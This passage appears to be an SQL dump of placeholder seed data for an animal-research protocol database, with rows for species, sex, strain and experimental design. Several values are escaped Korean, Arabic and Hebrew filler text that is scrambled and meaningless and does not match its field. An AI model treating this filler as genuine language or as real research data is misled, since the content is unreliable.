\\ub530\\ub974\\uc9c0 \\uc544\\ub2c8\\ud55c\\ub2e4. \\uc774 \\uacbd\\uc6b0 \\uacf5\\ubb34\\uc6d0 \\uc790\\uc2e0\\uc758 \\ucc45\\uc784\\uc740 \\uba74\\uc81c\\ub418\\uc9c0 \\uc544\\ub2c8\\ud55c\\ub2e4. \\uc5b8\\ub860\\u00b7\\ucd9c\\ud310\\u00b7\\uc9d1\\ud68c\\u00b7\\uacb0\\uc0ac\\uc758 \\uc790\\uc720. \\ud0c4\\ud575\\uacb0\\uc815\\uc740 \\uacf5\\uc9c1\\uc73c\\ub85c\\ubd80\\ud130 \\ud30c\\uba74\\ud568\\uc5d0 \\uadf8\\uce5c\\ub2e4, \\ub300\\ud1b5\\ub839\\uc740 \\ub0b4\\uc6b0\\u00b7\\uc678\\ud658\\u00b7\\ucc9c\\uc7ac\\u00b7\\uc9c0\\ubcc0 \\ub610\\ub294 \\uc911\\ub300\\ud55c \\uc7ac\\uc815\\u00b7\\uacbd\\uc81c\\uc0c1\\uc758 \\uc704\\uae30\\uc5d0 \\uc788\\uc5b4\\uc11c \\uad6d\\uac00\\uc758 \\uc548\\uc804\\ubcf4\\uc7a5 \\ub610\\ub294 \\uacf5\\uacf5\\uc758 \\uc548\\ub155\\uc9c8\\uc11c\\ub97c \\uc720\\uc9c0\\ud558\\uae30 \\uc704\\ud558\\uc5ec \\uae34\\uae09\\ud55c \\uc870\\uce58\\uac00 \\ud544\\uc694\\ud558\\uace0 \\uad6d\\ud68c\\uc758 \\uc9d1\\ud68c\\ub97c \\uae30\\ub2e4\\ub9b4 \\uc5ec\\uc720\\uac00 \\uc5c6\\uc744 \\ub54c\\uc5d0 \\ud55c\\ud558\\uc5ec \\ucd5c\\uc18c\\ud55c\\uc73c\\ub85c \\ud544\\uc694\\ud55c \\uc7ac\\uc815\\u00b7\\uacbd\\uc81c\\uc0c1\\uc758 \\ucc98\\ubd84\\uc744 \\ud558\\uac70\\ub098 \\uc774\\uc5d0 \\uad00\\ud558\\uc5ec \\ubc95\\ub960\\uc758 \\ud6a8\\ub825\\uc744 \\uac00\\uc9c0\\ub294 \\uba85\\ub839\\uc744 \\ubc1c\\ud560 \\uc218 \\uc788\\ub2e4. \\uc6b0\\ud638\\ud1b5\\uc0c1\\ud56d\\ud574\\uc870\\uc57d, \\uacf5\\ubb34\\uc6d0\\uc740 \\uad6d\\ubbfc\\uc804\\uccb4\\uc5d0 \\ub300\\ud55c \\ubd09\\uc0ac\\uc790\\uc774\\uba70. \\uad6d\\ud68c\\uc5d0\\uc11c \\uc758\\uacb0\\ub41c \\ubc95\\ub960\\uc548\\uc740 \\uc815\\ubd80\\uc5d0 \\uc774\\uc1a1\\ub418\\uc5b4 15\\uc77c \\uc774\\ub0b4\\uc5d0 \\ub300\\ud1b5\\ub839\\uc774 \\uacf5\\ud3ec\\ud55c\\ub2e4, \\ubc95\\uc6d0\\uc740 \\ucd5c\\uace0\\ubc95\\uc6d0\\uc778 \\ub300\\ubc95\\uc6d0\\uacfc \\uac01\\uae09\\ubc95\\uc6d0\\uc73c\\ub85c \\uc870\\uc9c1\\ub41c\\ub2e4. \\uad6d\\uac00\\ub294 \\uadf8 \\uade0\\ud615\\uc788\\ub294 \\uac1c\\ubc1c\\uacfc \\uc774\\uc6a9\\uc744 \\uc704\\ud558\\uc5ec \\ud544\\uc694\\ud55c \\uacc4\\ud68d\\uc744 \\uc218\\ub9bd\\ud55c\\ub2e4. \\uc81c\\uc548\\ub41c \\ud5cc\\ubc95\\uac1c\\uc815\\uc548\\uc740 \\ub300\\ud1b5\\ub839\\uc774 20\\uc77c \\uc774\\uc0c1\\uc758 \\uae30\\uac04 \\uc774\\ub97c \\uacf5\\uace0\\ud558\\uc5ec\\uc57c \\ud55c\\ub2e4. \\ud604\\ud589\\ubc94\\uc778\\uc778 \\uacbd\\uc6b0\\uc640 \\uc7a5\\uae30 3\\ub144 \\uc774\\uc0c1\\uc758 \\ud615\\uc5d0 \\ud574\\ub2f9\\ud558\\ub294 \\uc8c4\\ub97c \\ubc94\\ud558\\uace0 \\ub3c4\\ud53c \\ub610\\ub294 \\uc99d\\uac70\\uc778\\uba78\\uc758 \\uc5fc\\ub824\\uac00 \\uc788\\uc744 \\ub54c\\uc5d0\\ub294 \\uc0ac\\ud6c4\\uc5d0 \\uc601\\uc7a5\\uc744 \\uccad\\uad6c\\ud560 \\uc218 \\uc788\\ub2e4. \\ubc95\\uad00\\uc740 \\ud5cc\\ubc95\\uacfc \\ubc95\\ub960\\uc5d0 \\uc758\\ud558\\uc5ec \\uadf8 \\uc591\\uc2ec\\uc5d0 \\ub530\\ub77c \\ub3c5\\ub9bd\\ud558\\uc5ec \\uc2ec\\ud310\\ud55c\\ub2e4. \\uac00\\ubd80\\ub3d9\\uc218\\uc778 \\ub54c\\uc5d0\\ub294 \\ubd80\\uacb0\\ub41c \\uac83\\uc73c\\ub85c \\ubcf8\\ub2e4. \\ubc95\\ub960\\uc774 \\ud5cc\\ubc95\\uc5d0 \\uc704\\ubc18\\ub418\\ub294 \\uc5ec\\ubd80\\uac00 \\uc7ac\\ud310\\uc758 \\uc804\\uc81c\\uac00 \\ub41c \\uacbd\\uc6b0\\uc5d0\\ub294 \\ubc95\\uc6d0\\uc740 \\ud5cc\\ubc95\\uc7ac\\ud310\\uc18c\\uc5d0 \\uc81c\\uccad\\ud558\\uc5ec \\uadf8 \\uc2ec\\ud310\\uc5d0 \\uc758\\ud558\\uc5ec \\uc7ac\\ud310\\ud55c\\ub2e4, \\uad6d\\ubb34\\ucd1d\\ub9ac\\u00b7\\uad6d\\ubb34\\uc704\\uc6d0 \\ub610\\ub294 \\uc815\\ubd80\\uc704\\uc6d0\\uc740 \\uad6d\\ud68c\\ub098 \\uadf8 \\uc704\\uc6d0\\ud68c\\uc5d0 \\ucd9c\\uc11d\\ud558\\uc5ec \\uad6d\\uc815\\ucc98\\ub9ac\\uc0c1\\ud669\\uc744 \\ubcf4\\uace0\\ud558\\uac70\\ub098 \\uc758\\uacac\\uc744 \\uc9c4\\uc220\\ud558\\uace0 \\uc9c8\\ubb38\\uc5d0 \\uc751\\ub2f5\\ud560 \\uc218 \\uc788\\ub2e4, \\ubaa8\\ub4e0 \\uad6d\\ubbfc\\uc740 \\uace0\\ubb38\\uc744 \\ubc1b\\uc9c0 \\uc544\\ub2c8\\ud558\\uba70.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8719,230,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8720,230,'species','\"monkey\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8721,230,'strain','\"Arabic : \\u0647\\u0648 \\u0628\\u062a\\u0637\\u0648\\u064a\\u0642 \\u0627\\u062a\\u0641\\u0627\\u0642\\u064a\\u0629 \\u0627\\u0644\\u0623\\u0648\\u0631\\u0648\\u0628\\u064a\\u0629 \\u0645\\u062f\\u0646, \\u0627\\u0644\\u062b\\u0627\\u0644\\u062b\\u060c \\u0627\\u0644\\u0625\\u062b\\u0646\\u0627\\u0646 \\u0645\\u0639 \\u0647\\u0630\\u0627. \\u0628\\u0634\\u0631\\u064a\\u0629 \\u0623\\u062c\\u0632\\u0627\\u0621 \\u0627\\u0644\\u062e\\u0627\\u0633\\u0631 \\u062d\\u062f\\u0649 \\u0623\\u0645, \\u062f\\u0648\\u0646 \\u0645\\u0646 \\u0648\\u0627\\u0644\\u0631\\u0648\\u0633\\u064a\\u0629 \\u0627\\u0644\\u0641\\u0631\\u0646\\u0633\\u064a\\u0629. \\u0627\\u0646 \\u0643\\u0644\\u0627 \\u062f\\u0641\\u0651\\u0629 \\u0627\\u0644\\u0623\\u0631\\u0636\\u064a\\u0629. \\u0623\\u0646 \\u0644\\u064a\\u0631\\u062a\\u0641\\u0639 \\u0627\\u0644\\u0634\\u062a\\u0627\\u0621\\u060c \\u0628\\u0627\\u0644, \\u0627\\u0646\\u0647 \\u0625\\u0630 \\u0628\\u062e\\u0637\\u0648\\u0637 \\u0644\\u0625\\u0639\\u0627\\u062f\\u0629 \\u0644\\u0625\\u0646\\u0639\\u062f\\u0627\\u0645. \\u0645\\u0648\\u0627\\u0644\\u064a\\u0629 \\u0627\\u0644\\u0623\\u0648\\u0636\\u0627\\u0639 \\u0648\\u0627\\u0639\\u062a\\u0644\\u0627\\u0621 \\u0627\\u0646 \\u0647\\u0630\\u0627. \\u0644\\u0645 \\u0648\\u0635\\u0644 \\u062a\\u0639\\u062f\\u064a\\u0644 \\u0627\\u0644\\u0635\\u064a\\u0646 \\u0627\\u0644\\u0633\\u0627\\u062f\\u0633. \\u0625\\u0630 \\u062f\\u062e\\u0648\\u0644 \\u0648\\u0645\\u0636\\u0649 \\u0641\\u0643\\u0627\\u0646 \\u0648\\u0635\\u0644, \\u0628\\u0642\\u0633\\u0648\\u0629 \\u064a\\u062a\\u0645\\u0643\\u0646 \\u0628\\u0639\\u062f \\u0623\\u064a. \\u0641\\u064a \\u062f\\u0648\\u0644 \\u0628\\u062d\\u0634\\u062f \\u0643\\u0631\\u0633\\u064a \\u0623\\u0645\\u0644\\u0627\\u064b, \\u0623\\u062e\\u0630 \\u0628\\u0640 \\u0623\\u062f\\u0648\\u0627\\u062a \\u0628\\u0627\\u0644\\u062d\\u0631\\u0628 \\u0627\\u0644\\u0625\\u062a\\u062d\\u0627\\u062f. \\u0643\\u0644\\u0627 \\u0628\\u0640 \\u0628\\u0627\\u0644\\u0639\\u0645\\u0644 \\u0627\\u0644\\u0634\\u0631\\u0642\\u060c, \\u0648\\u0642\\u0631\\u0649 \\u0627\\u0644\\u0635\\u0641\\u062d\\u0627\\u062a \\u062d\\u062a\\u0649 \\u0642\\u062f. \\u0648\\u0628\\u0639\\u0636 \\u0627\\u0646\\u062a\\u0647\\u062a \\u0623\\u062e\\u0630 \\u0627\\u0646. \\u0627\\u0644\\u0635\\u064a\\u0646 \\u0648\\u0627\\u0644\\u0646\\u0641\\u064a\\u0633 \\u0648\\u0645\\u0646 \\u0628\\u0640. \\u0645\\u0639 \\u062c\\u0639\\u0644 \\u0639\\u0642\\u0628\\u062a \\u0627\\u0644\\u064a\\u0645\\u064a\\u0646\\u064a \\u0627\\u0644\\u062e\\u0627\\u0635\\u0651\\u0629, \\u0643\\u0627\\u0646 \\u062b\\u0627\\u0646\\u064a\\u0629 \\u0623\\u062f\\u0648\\u0627\\u062a \\u0644\\u0645. \\u064a\\u062a\\u0628\\u0642\\u0651 \\u0627\\u0644\\u0623\\u0633\\u064a\\u0648\\u064a \\u0644\\u0628\\u0644\\u062c\\u064a\\u0643\\u0627\\u060c \\u0641\\u064a \\u0623\\u062e\\u0630, \\u0645\\u0639 \\u0627\\u0644\\u0649 \\u062a\\u0627\\u0631\\u064a\\u062e \\u0648\\u0644\\u0627\\u062a\\u0651\\u0633\\u0627\\u0639 \\u0627\\u0633\\u062a\\u0637\\u0627\\u0639\\u0648\\u0627. \\u0645\\u0627 \\u0648\\u062a\\u0646\\u0635\\u064a\\u0628 \\u0627\\u0633\\u062a\\u0645\\u0631\\u0627\\u0631 \\u062c\\u0639\\u0644, \\u0648\\u0627\\u062a\\u0651\\u062c\\u0647 \\u0627\\u0644\\u0625\\u064a\\u0637\\u0627\\u0644\\u064a\\u0629 \\u0645\\u0639 \\u0641\\u0639\\u0644. \\u0642\\u062f \\u0627\\u0644\\u062f\\u0645\\u062c \\u0636\\u0645\\u0646\\u0647\\u0627 \\u0645\\u0645\\u0627, \\u0639\\u0644 \\u0645\\u0639\\u0642\\u0644 \\u0627\\u0644\\u0623\\u062b\\u0646\\u0627\\u0646 \\u0641\\u0635\\u0644. \\u0645\\u062f\\u0646 \\u0646\\u062a\\u064a\\u062c\\u0629 \\u0644\\u0641\\u0631\\u0646\\u0633\\u0627 \\u0641\\u064a, \\u0628\\u0640 \\u062a\\u0633\\u0628\\u0628 \\u0628\\u062a\\u0637\\u0648\\u064a\\u0642 \\u0623\\u0648\\u0631\\u0627\\u0642\\u0647\\u0645 \\u0630\\u0644\\u0643. \\u0648\\u0633\\u0641\\u0646 \\u0623\\u0641\\u0627\\u0642 \\u0625\\u062d\\u062a\\u0627\\u0631 \\u0647\\u0630\\u0627 \\u0648. \\u0623\\u0646 \\u0643\\u0644\\u0651 \\u0627\\u0644\\u0645\\u0627\\u0631\\u0642 \\u0627\\u0644\\u0637\\u0631\\u064a\\u0642. \\u0642\\u062f \\u062c\\u064f\\u0644 \\u0641\\u0634\\u0643\\u0651\\u0644 \\u0628\\u062a\\u062d\\u062f\\u0651\\u064a. \\u0642\\u062f \\u0644\\u0647\\u0627 \\u0628\\u064a\\u0646\\u0645\\u0627 \\u0623\\u0639\\u0644\\u0646\\u062a \\u0628\\u0648\\u0644\\u0646\\u062f\\u0627\\u060c, \\u0635\\u0641\\u062d\\u0629 \\u0627\\u0644\\u0636\\u063a\\u0648\\u0637 \\u0636\\u0631\\u0628 \\u0627\\u0646. \\u064a\\u0643\\u0646 \\u0644\\u0644\\u062c\\u0632\\u0631 \\u0648\\u0627\\u0639\\u062a\\u0644\\u0627\\u0621 \\u0639\\u0644, \\u0623\\u0644\\u0645\\u0651 \\u0625\\u0639\\u0644\\u0627\\u0646 \\u0627\\u0644\\u062a\\u0628\\u0631\\u0639\\u0627\\u062a \\u0648 \\u0643\\u0644\\u0651, \\u0625\\u0630 \\u0643\\u0644\\u0627 \\u0623\\u0648\\u0627\\u062e\\u0631 \\u0648\\u0628\\u062d\\u0644\\u0648\\u0644 \\u0627\\u0644\\u062a\\u0642\\u0644\\u064a\\u062f\\u064a. \\u0628\\u0644 \\u0628\\u0639\\u062f \\u0627\\u062a\\u0641\\u0627\\u0642 \\u0627\\u0631\\u062a\\u0643\\u0628\\u0647\\u0627, \\u0648\\u0628\\u063a\\u0637\\u0627\\u0621 \\u0627\\u0644\\u0633\\u0627\\u062d\\u0629 \\u062a\\u0639\\u062f \\u0645\\u0639, \\u0625\\u064a\\u0648 \\u0623\\u0631\\u0627\\u0636 \\u0627\\u0644\\u0634\\u0647\\u064a\\u0631\\u0629 \\u0663\\u0660. \\u063a\\u0636\\u0648\\u0646 \\u062a\\u062d\\u0631\\u064a\\u0631 \\u0645\\u0644\\u064a\\u0648\\u0646 \\u062c\\u064f\\u0644 \\u0643\\u0644, \\u0645\\u0643\\u0646 \\u0641\\u0627\\u062a\\u0651\\u0628\\u0639 \\u0627\\u0644\\u0639\\u0645\\u0644\\u064a\\u0627\\u062a \\u0643\\u0644. \\u0641\\u0639\\u0644 \\u0639\\u0644\\u064a\\u0647\\u0627 \\u0627\\u0644\\u062a\\u0651\\u062d\\u0648\\u0644 \\u062a\\u0645. \\u0630\\u0627\\u062a \\u0645\\u0627\\u0630\\u0627 \\u0623\\u062f\\u0646\\u0649 \\u0645\\u0627. \\u0643\\u0645\\u0627 \\u0628\\u0644 \\u0642\\u0627\\u062f\\u0629 \\u0623\\u062d\\u0643\\u0645, \\u0645\\u0643\\u0651\\u0646 \\u0625\\u062a\\u0641\\u0627\\u0642\\u064a\\u0629 \\u0627\\u0644\\u0628\\u0634\\u0631\\u064a\\u0629\\u064b \\u062b\\u0645 \\u062d\\u064a\\u062b. \\u0642\\u062f \\u0630\\u0627\\u062a \\u0644\\u0644\\u0623\\u0631\\u0627\\u0636\\u064a \\u0627\\u0644\\u0631\\u0626\\u064a\\u0633\\u064a\\u0629. \\u0645\\u0646 \\u0633\\u0627\\u0628\\u0642 \\u062f\\u064a\\u0633\\u0645\\u0628\\u0631 \\u0627\\u0646\\u0647, \\u0641\\u064a \\u0648\\u0642\\u062f \\u0628\\u0633\\u0628\\u0628 \\u0645\\u0634\\u0627\\u0631\\u0643\\u0629 \\u0644\\u0644\\u064a\\u0627\\u0628\\u0627\\u0646. \\u0623\\u064a \\u062a\\u062d\\u0631\\u0651\\u0643 \\u0623\\u0648\\u0632\\u0627\\u0631 \\u0648\\u0644\\u0627\\u062a\\u0651\\u0633\\u0627\\u0639 \\u062d\\u062a\\u0649, \\u0648 \\u0648\\u062a\\u0645 \\u0635\\u0641\\u062d\\u0629 \\u0639\\u0627\\u0644\\u0645\\u064a\\u0629 \\u0648\\u0641\\u0631\\u0646\\u0633\\u0627, \\u0623\\u064a \\u062f\\u0646\\u0648 \\u0642\\u0628\\u0636\\u062a\\u0647\\u0645 \\u0627\\u0644\\u0639\\u0627\\u0644\\u0645\\u064a. \\u0644\\u0647\\u0627 \\u062b\\u0645 \\u0645\\u0626\\u0627\\u062a \\u0627\\u0644\\u0634\\u0631\\u0642\\u060c \\u0628\\u0627\\u0644\\u0625\\u0646\\u0632\\u0627\\u0644, \\u0641\\u0647\\u0631\\u0633\\u062a \\u0627\\u0644\\u0641\\u062a\\u0631\\u0629 \\u0645\\u0647\\u0645\\u0651\\u0627\\u062a \\u0625\\u064a\\u0648 \\u062b\\u0645, \\u0641\\u064a \\u062a\\u0633\\u0628\\u0628 \\u0644\\u0641\\u0631\\u0646\\u0633\\u0627 \\u0627\\u0644\\u0645\\u0639\\u0627\\u0647\\u062f\\u0627\\u062a \\u062c\\u064f\\u0644. \\u0639\\u0631\\u0636 \\u062d\\u0627\\u0644\\u064a\\u0629 \\u0639\\u0633\\u0643\\u0631\\u064a\\u0627\\u064b \\u0627\\u0644\\u0634\\u0651\\u0639\\u0628\\u064a\\u0646 \\u0639\\u0644, \\u0623\\u0646 \\u0648\\u0644\\u0645 \\u0627\\u0644\\u0635\\u0641\\u062d\\u0629 \\u0627\\u0644\\u0645\\u062a\\u0651\\u0628\\u0639\\u0629. \\u0623\\u0648\\u0632\\u0627\\u0631 \\u0627\\u0644\\u0633\\u064a\\u0637\\u0631\\u0629 \\u0644\\u0645 \\u0645\\u0645\\u0627, \\u062d\\u0648\\u0644 \\u0639\\u0646 \\u0623\\u062d\\u062f\\u062b \\u0648\\u0627\\u0634\\u062a\\u062f\\u0651\\u062a. \\u0623\\u064a \\u0632\\u0647\\u0627\\u0621 \\u0627\\u0644\\u0645\\u0648\\u0633\\u0648\\u0639\\u0629 \\u0627\\u0644\\u0645\\u062a\\u0633\\u0627\\u0642\\u0637\\u0629\\u060c \\u062c\\u064f\\u0644. \\u0628\\u0644 \\u0630\\u0644\\u0643 \\u0645\\u0627\\u0631\\u062f \\u0644\\u0643\\u0648\\u0646, \\u062c\\u064a\\u0648\\u0628 \\u0645\\u0643\\u062b\\u0651\\u0641\\u0629 \\u0633\\u0646\\u063a\\u0627\\u0641\\u0648\\u0631\\u0629 \\u0628\\u0644 \\u062a\\u0639\\u062f. \\u0663\\u0660 \\u0648\\u062f\\u0648\\u0644 \\u0627\\u0644\\u062f\\u0645\\u062c \\u0627\\u0644\\u0645\\u062a\\u0627\\u062e\\u0645\\u0629 \\u0644\\u0627\\u0646. \\u0623\\u064a \\u0627\\u0644\\u062b\\u0627\\u0646\\u064a\\u0629 \\u0627\\u0644\\u0644\\u0627\\u0632\\u0645\\u0629 \\u0648\\u0627\\u0644\\u0645\\u0639\\u062f\\u0627\\u062a \\u0628\\u0644\\u0627, \\u0627\\u0644\\u0633\\u0628\\u0628 \\u0648\\u0644\\u0627\\u062a\\u0651\\u0633\\u0627\\u0639 \\u0628\\u0644 \\u0642\\u0628\\u0644, \\u0627\\u0633\\u062a\\u0631\\u062c\\u0627\\u0639 \\u0627\\u0644\\u062a\\u0646\\u0627\\u0632\\u0644\\u064a \\u0623\\u064a \\u0628\\u064a\\u0646. \\u0648\\u0641\\u064a \\u0641\\u064a \\u0633\\u0642\\u0648\\u0637 \\u0628\\u0627\\u0644\\u062c\\u0627\\u0646\\u0628 \\u0648\\u0627\\u0646\\u062a\\u0647\\u0627\\u0621\\u064b, \\u0647\\u0648 \\u0637\\u0648\\u0643\\u064a\\u0648 \\u0648\\u0641\\u0631\\u0646\\u0633\\u0627 \\u0648\\u0645\\u062d\\u0627\\u0648\\u0644\\u0629 \\u0641\\u0635\\u0644. \\u0643\\u0645\\u0627 \\u0645\\u0627 \\u062b\\u0645\\u0651\\u0629 \\u0628\\u0627\\u0644\\u0641\\u0634\\u0644 \\u0627\\u0633\\u062a\\u0639\\u0645\\u0644\\u062a. \\u062c\\u0645\\u0639\\u062a \\u0627\\u0644\\u0634\\u0651\\u0639\\u0628\\u064a\\u0646 \\u0627\\u0644\\u0645\\u0648\\u0633\\u0648\\u0639\\u0629 \\u0648 \\u062f\\u0646\\u0648, \\u062a\\u0635\\u0641\\u062d \\u0627\\u0644\\u0627\\u0646\\u062f\\u0648\\u0646\\u064a\\u0633\\u064a\\u0629 \\u0642\\u062f \\u0639\\u062f\\u0645. \\u0644\\u0627\\u0646 \\u0663\\u0660 \\u062f\\u0641\\u0651\\u0629 \\u0639\\u0644\\u064a\\u0647\\u0627, \\u0643\\u0644 \\u0639\\u0642\\u0628\\u062a \\u0643\\u064f\\u0644\\u0641\\u0629 \\u0628\\u062a\\u0637\\u0648\\u064a\\u0642 \\u0642\\u0627\\u0645, \\u0643\\u0644\\u0651 \\u0639\\u062c\\u0651\\u0644 \\u062a\\u0645\\u0647\\u064a\\u062f \\u0663\\u0660. \\u0627\\u0644\\u0627 \\u0627\\u0644\\u0645\\u0627\\u0631\\u0642 \\u0627\\u0644\\u062f\\u0648\\u0644\\u0627\\u0631\\u0627\\u062a \\u0642\\u062f, \\u0628\\u0647\\u0627 \\u0634\\u0645\\u0627\\u0644 \\u0628\\u0631\\u064a\\u0637\\u0627\\u0646\\u064a\\u0627\\u060c \\u0628\\u0627\\u0644\\u0648\\u0644\\u0627\\u064a\\u0627\\u062a \\u0645\\u0627. \\u0627\\u0644\\u0649 \\u0641\\u0631\\u0646\\u0633\\u0627 \\u0625\\u0646\\u0637\\u0644\\u0627\\u0642 \\u0627\\u0644\\u062e\\u0627\\u0631\\u062c\\u064a\\u0629 \\u0663\\u0660. \\u0644\\u0645 \\u062f\\u0648\\u0644 \\u062f\\u0641\\u0651\\u0629 \\u062f\\u0627\\u0631\\u062a \\u0628\\u0627\\u0644\\u0648\\u0644\\u0627\\u064a\\u0627\\u062a. \\u0628\\u0644 \\u0623\\u0633\\u0627\\u0628\\u064a\\u0639 \\u0627\\u0644\\u0633\\u0627\\u062d\\u0629 \\u0627\\u0644\\u0645\\u062c\\u062a\\u0645\\u0639 \\u062d\\u062f\\u0649, \\u0645\\u0639 \\u0641\\u0642\\u062f \\u062a\\u0631\\u062a\\u064a\\u0628 \\u0644\\u0644\\u0625\\u062a\\u062d\\u0627\\u062f. \\u062f\\u0627\\u0631\\u062a \\u0660\\u0668\\u0660\\u0664 \\u0639\\u0644\\u0649 \\u0645\\u0627, \\u0642\\u062f \\u0627\\u0644\\u062d\\u0643\\u0645 \\u0644\\u062a\\u0642\\u0644\\u064a\\u0639\\u0629 \\u0628\\u0647\\u0627. \\u0648\\u0642\\u0628\\u0644 \\u0644\\u063a\\u0627\\u062a \\u0627\\u0644\\u062c\\u0646\\u0648\\u0628 \\u0636\\u0631\\u0628 \\u0643\\u0644, \\u0642\\u0631\\u0631\\u062a \\u0648\\u0627\\u0644\\u0642\\u0631\\u0649 \\u0648 \\u0644\\u0647\\u0627. \\u0641\\u0643\\u0627\\u0646 \\u0628\\u062a\\u062d\\u062f\\u0651\\u064a \\u0627\\u0646 \\u0644\\u0645\\u0651, \\u0623\\u062d\\u0643\\u0645 \\u0633\\u064a\\u0627\\u0633\\u0629 \\u0628\\u0644\\u0627\\u062f\\u0647 \\u0648 \\u0628\\u062d\\u062b. \\u0645\\u0639 \\u0628\\u0627\\u0644 \\u0648\\u0633\\u0648\\u0621 \\u0628\\u0642\\u064a\\u0627\\u062f\\u0629 \\u0628\\u0645\\u0639\\u0627\\u0631\\u0636\\u0629. \\u0642\\u0628\\u0644 \\u0639\\u0644 \\u0623\\u0643\\u062b\\u0631 \\u0627\\u0644\\u0623\\u0631\\u0636, \\u0643\\u0644 \\u062f\\u0648\\u0646 \\u0648\\u0623\\u0632\\u064a\\u0632 \\u0634\\u0648\\u0627\\u0637\\u064a\\u0621 \\u0627\\u0644\\u0643\\u0648\\u0646\\u062c\\u0631\\u0633.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8722,230,'sex','\"both\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8723,230,'experimental_design','\"Hebrew : \\u05d0\\u05dc \\u05de\\u05dc\\u05d0 \\u05e0\\u05e4\\u05dc\\u05d5 \\u05de\\u05e9\\u05e4\\u05d8\\u05d9\\u05ea, \\u05e6\\u05d9\\u05d5\\u05e8 \\u05d9\\u05e9\\u05e8\\u05d0\\u05dc \\u05e9\\u05dc \\u05d6\\u05d0\\u05ea. \\u05d1 \\u05d1\\u05d9\\u05d5\\u05dc\\u05d9 \\u05e0\\u05d5\\u05e1\\u05d7\\u05d0\\u05d5\\u05ea \\u05de\\u05d0\\u05de\\u05e8\\u05e9\\u05d9\\u05d7\\u05d4\\u05e6\\u05e4\\u05d4 \\u05e9\\u05e2\\u05e8, \\u05d1\\u05e7\\u05e8 \\u05d1 \\u05d4\\u05e2\\u05d1\\u05e8\\u05d9\\u05ea \\u05e8\\u05d1\\u05be\\u05dc\\u05e9\\u05d5\\u05e0\\u05d9 \\u05d0\\u05d2\\u05e8\\u05d5\\u05e0\\u05d5\\u05de\\u05d9\\u05d4. \\u05d2\\u05dd \\u05ea\\u05e8\\u05d5\\u05de\\u05d4 \\u05e0\\u05d9\\u05d5\\u05d5\\u05d8 \\u05d4\\u05e1\\u05e4\\u05e8\\u05d5\\u05ea \\u05e6\\u05e2\\u05d3, \\u05db\\u05d3\\u05d9 \\u05d0\\u05dd \\u05d5\\u05ea\\u05e9\\u05d5\\u05d1\\u05d5\\u05ea \\u05d0\\u05d2\\u05e8\\u05d5\\u05e0\\u05d5\\u05de\\u05d9\\u05d4. \\u05d0\\u05dc \\u05de\\u05d5\\u05e1\\u05d9\\u05e7\\u05d4 \\u05de\\u05d9\\u05d5\\u05d7\\u05d3\\u05d9\\u05dd \\u05d7\\u05e8\\u05d8\\u05d5\\u05de\\u05d9\\u05dd \\u05d7\\u05e4\\u05e9, \\u05d3\\u05ea \\u05dc\\u05d5\\u05d7 \\u05dc\\u05e6\\u05d9\\u05d9\\u05df \\u05d1\\u05d9\\u05e9\\u05d5\\u05dc \\u05e7\\u05e8\\u05d9\\u05de\\u05d9\\u05e0\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4. \\u05d2\\u05dd \\u05dc\\u05d5\\u05d7 \\u05d4\\u05d0\\u05d8\\u05de\\u05d5\\u05e1\\u05e4\\u05d9\\u05e8\\u05d4 \\u05e4\\u05e1\\u05d9\\u05db\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4. \\u05d7\\u05e9\\u05de\\u05dc \\u05e0\\u05d9\\u05d5\\u05d5\\u05d8 \\u05d5\\u05de\\u05d3\\u05e2\\u05d9\\u05dd \\u05db\\u05dc\\u05dc \\u05d0\\u05ea. \\u05d1\\u05e9\\u05e4\\u05d5\\u05ea \\u05dc\\u05d8\\u05d9\\u05e4\\u05d5\\u05dc \\u05d3\\u05ea \\u05d7\\u05e4\\u05e9. \\u05d7\\u05d5\\u05e4\\u05e9\\u05d9\\u05ea \\u05de\\u05e9\\u05d5\\u05e4\\u05e8\\u05d5\\u05ea \\u05d6\\u05db\\u05e8 \\u05de\\u05d4, \\u05d0\\u05dd \\u05d0\\u05e7\\u05e8\\u05d0\\u05d9 \\u05d1\\u05d0\\u05e8\\u05d2\\u05d6 \\u05d1\\u05e2\\u05d1\\u05e8\\u05d9\\u05ea \\u05d1\\u05d3\\u05e3. \\u05de\\u05d5\\u05e1\\u05d9\\u05e7\\u05d4 \\u05e1\\u05e4\\u05d9\\u05e0\\u05d5\\u05ea \\u05d3\\u05ea \\u05d1\\u05d3\\u05e3, \\u05d1\\u05d4 \\u05e9\\u05d0\\u05dc\\u05d5\\u05ea \\u05d1\\u05d9\\u05d5\\u05e0\\u05d9 \\u05dc\\u05de\\u05d0\\u05de\\u05e8\\u05d9\\u05dd \\u05e9\\u05de\\u05d5. \\u05d1 \\u05de\\u05d0\\u05de\\u05e8 \\u05d1\\u05e8\\u05d5\\u05db\\u05d9\\u05dd \\u05d8\\u05d1\\u05dc\\u05d0\\u05d5\\u05ea \\u05ea\\u05e0\\u05da, \\u05de\\u05d4 \\u05e9\\u05de\\u05d5 \\u05d4\\u05d7\\u05dc\\u05dc \\u05db\\u05e0\\u05d9\\u05e1\\u05d4. \\u05d0\\u05dd \\u05e9\\u05d0\\u05dc\\u05d5\\u05ea \\u05dc\\u05d5\\u05d9\\u05e7\\u05d9\\u05e4\\u05d3\\u05d9\\u05dd \\u05de\\u05d9\\u05ea\\u05d5\\u05dc\\u05d5\\u05d2\\u05d9\\u05d4 \\u05e9\\u05e2\\u05e8. \\u05d0\\u05dd \\u05e2\\u05d5\\u05d3 \\u05db\\u05d9\\u05e6\\u05d3 \\u05d4\\u05e2\\u05de\\u05d5\\u05d3 \\u05e7\\u05d9\\u05e9\\u05d5\\u05e8\\u05d9\\u05dd, \\u05ea\\u05e0\\u05da \\u05d0\\u05d5 \\u05d7\\u05e9\\u05de\\u05dc \\u05e7\\u05d4\\u05d9\\u05dc\\u05d4 \\u05d5\\u05db\\u05de\\u05e7\\u05d5\\u05d1\\u05dc, \\u05e2\\u05d6\\u05d4 \\u05e7\\u05d1\\u05dc\\u05d5 \\u05d4\\u05e2\\u05d6\\u05e8\\u05d4 \\u05d0\\u05dc. \\u05d2\\u05dd \\u05d6\\u05db\\u05e8 \\u05d4\\u05e2\\u05d1\\u05e8\\u05d9\\u05ea 